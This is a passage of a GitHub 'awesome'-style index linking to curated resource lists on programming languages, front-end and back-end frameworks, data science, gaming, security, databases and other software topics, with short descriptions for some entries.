- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
